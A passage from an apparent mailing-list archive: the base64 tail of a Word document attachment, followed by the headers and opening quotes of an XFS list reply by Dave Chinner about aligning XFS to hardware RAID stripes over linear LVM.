AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v8AAAYBAgAAAAAAAAAAAAAAAAAAAAAAAQAA AALVzdWcLhsQk5cIACss+a4wAAAA6AAAAAwAAAABAAAAaAAAAA8AAABwAAAABQAAAHwAAAAGAAAA hAAAABEAAACMAAAAFwAAAJQAAAALAAAAnAAAABAAAACkAAAAEwAAAKwAAAAWAAAAtAAAAA0AAAC8 AAAADAAAAMkAAAACAAAA5AQAAB4AAAAEAAAAAAAAAAMAAAAKAAAAAwAAAAMAAAADAAAA8AUAAAMA AAAAAAwACwAAAAAAAAALAAAAAAAAAAsAAAAAAAAACwAAAAAAAAAeEAAAAQAAAAEAAAAADBAAAAIA AAAeAAAABgAAAFRpdGxlAAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAwAAAAQAAAAFAAAABgAAAAcAAAAIAAAACQAA AAoAAAALAAAADAAAAA0AAAAOAAAADwAAABAAAAD+////EgAAABMAAAAUAAAAFQAAABYAAAAXAAAA GAAAABkAAAAaAAAAGwAAABwAAAAdAAAAHgAAAB8AAAAgAAAAIQAAACIAAAAjAAAAJAAAACUAAAAm AAAAJwAAACgAAAApAAAAKgAAACsAAAAsAAAALQAAAC4AAAAvAAAAMAAAADEAAAAyAAAAMwAAADQA AAA1AAAANgAAADcAAAA4AAAAOQAAADoAAAD+////PAAAAD0AAAA+AAAAPwAAAEAAAABBAAAAQgAA AEMAAABEAAAARQAAAEYAAABHAAAASAAAAEkAAABKAAAA/v///0wAAABNAAAATgAAAE8AAABQAAAA UQAAAFIAAAD+////VAAAAFUAAABWAAAAVwAAAFgAAABZAAAAWgAAAP7////9////XQAAAF4AAAD+ /////v///2EAAAD+//////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////////////UgBvAG8AdAAgAEUAbgB0AHIAeQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYABQH//////////wMAAAAGCQIAAAAAAMAAAAAA AABGAAAAAAAAAAAAAAAA8ENYCPi2zgFgAAAAAAMAAAAAAABEAGEAdABhAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgACAf////////////// /wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEAAABkUgAAAAAAADEAVABhAGIA bABlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO AAIAAQAAAP//////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOwAAACse AAAAAAAAVwBvAHIAZABEAG8AYwB1AG0AZQBuAHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAABoAAgEKAAAABQAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAANCAAAAAAAAAFAFMAdQBtAG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBu AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAACAf///////////////wAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEsAAAAAEAAAAAAAAAUARABvAGMAdQBtAGUAbgB0AFMAdQBt AG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAAAAA4AAIBBAAAAP////////// AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUwAAAAAQAAAAAAAATQBzAG8ARABh AHQAYQBTAHQAbwByAGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABoA AQD//////////wcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDQMQj4ts4B4MlQCPi2zgEAAAAAAAAA AAAAAABPANgAVADTAMcAWQDZAMwAUwDUAFMAxgAwANEA0QBLAMUAyQDFAMEARwBRAD0APQAAAAAA AAAAAAAAAAAAAAAAMgABAf//////////CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMNAxCPi2zgHg yVAI+LbOAQAAAAAAAAAAAAAAAEkAdABlAG0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAIB/////wkAAAD/////AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM0AAAAAAAAAUAByAG8AcABlAHIAdABpAGUAcwAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABYAAgD///////////////8A AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAVQEAAAAAAAABAEMAbwBtAHAA TwBiAGoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAC AQIAAAAGAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAAB5AAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAQAAAAIAAAADAAAA/v///wUAAAAGAAAABwAAAAgAAAAJAAAA/v// /wsAAAD+//////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////88YjpTb3VyY2VzIHhtbG5zOmI9Imh0dHA6Ly9zY2hlbWFzLm9wZW54 bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L2JpYmxpb2dyYXBoeSIgeG1sbnM9Imh0 dHA6Ly9zY2hlbWFzLm9wZW54bWxmb3JtYXRzLm9yZy9vZmZpY2VEb2N1bWVudC8yMDA2L2JpYmxp b2dyYXBoeSIgU2VsZWN0ZWRTdHlsZT0iXEFQQS5YU0wiIFN0eWxlTmFtZT0iQVBBIi8+AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPD94bWwgdmVyc2lv bj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+DQo8ZHM6ZGF0YXN0b3Jl SXRlbSBkczppdGVtSUQ9Ins5REYzODQzQi02QzhFLTQ0NEItQTY2Qi0xQzRBOTY5OTYxMTl9IiB4 bWxuczpkcz0iaHR0cDovL3NjaGVtYXMub3BlbnhtbGZvcm1hdHMub3JnL29mZmljZURvY3VtZW50 LzIwMDYvY3VzdG9tWG1sIj48ZHM6c2NoZW1hUmVmcz48ZHM6c2NoZW1hUmVmIGRzOnVyaT0iaHR0 cDovL3NjaGVtYXMub3BlbnhtbGZvcm1hdHMub3JnL29mZmljZURvY3VtZW50LzIwMDYvYmlibGlv Z3JhcGh5Ii8+PC9kczpzY2hlbWFSZWZzPjwvZHM6ZGF0YXN0b3JlSXRlbT4AAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQD+/wMKAAD/////BgkCAAAAAADAAAAAAAAA RicAAABNaWNyb3NvZnQgT2ZmaWNlIFdvcmQgOTctMjAwMyBEb2N1bWVudAAKAAAATVNXb3JkRG9j ABAAAABXb3JkLkRvY3VtZW50LjgA9DmycQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA ------=_Part_171239_616996852.1380223359193-- From david@fromorbit.com Thu Sep 26 16:58:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 812E37F3F for ; Thu, 26 Sep 2013 16:58:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6E571304066 for ; Thu, 26 Sep 2013 14:58:13 -0700 (PDT) X-ASG-Debug-ID: 1380232690-04cb6c35011067b0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 4UIiy165l5AHEDDp for ; Thu, 26 Sep 2013 14:58:11 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArAHAH+tRFJ5LCC0/2dsb2JhbABbgweDS7hLhTuBHxd0giUBAQQBOhwjBQsIAxgJJQ8FJQMhE4gABbxsFo4IgTMHhB4Dl3yReYM2KoEt Received: from ppp121-44-32-180.lns20.syd6.internode.on.net (HELO dastard) ([121.44.32.180]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Sep 2013 07:28:09 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VPJZW-0006oa-2X; Fri, 27 Sep 2013 07:58:06 +1000 Date: Fri, 27 Sep 2013 07:58:06 +1000 From: Dave Chinner To: Stan Hoeppner Cc: Stewart Webb , Chris Murphy , "xfs@oss.sgi.com" Subject: Re: xfs hardware RAID alignment over linear lvm Message-ID: <20130926215806.GQ26872@dastard> X-ASG-Orig-Subj: Re: xfs hardware RAID alignment over linear lvm References: <52435327.9080607@hardwarefreak.com> <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> <20130925215713.GH26872@dastard> <5243FCD6.4000701@hardwarefreak.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5243FCD6.4000701@hardwarefreak.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1380232690 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140955 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Sep 26, 2013 at 04:22:30AM -0500, Stan Hoeppner wrote: > On 9/26/2013 3:55 AM, Stewart Webb wrote: > > Thanks for all this info Stan and Dave, > > > >> "Stripe size" is a synonym of XFS sw, which is su * #disks. This is the > >> amount of data written across the full RAID stripe (excluding parity). > > > > The reason I stated Stripe size is because in this instance, I have 3ware > > RAID controllers, which refer to > > this value as "Stripe" in their tw_cli software (god bless manufacturers > > renaming everything) > > > > I do, however, have a follow-on question: > > On other systems, I have similar hardware: > > 3x 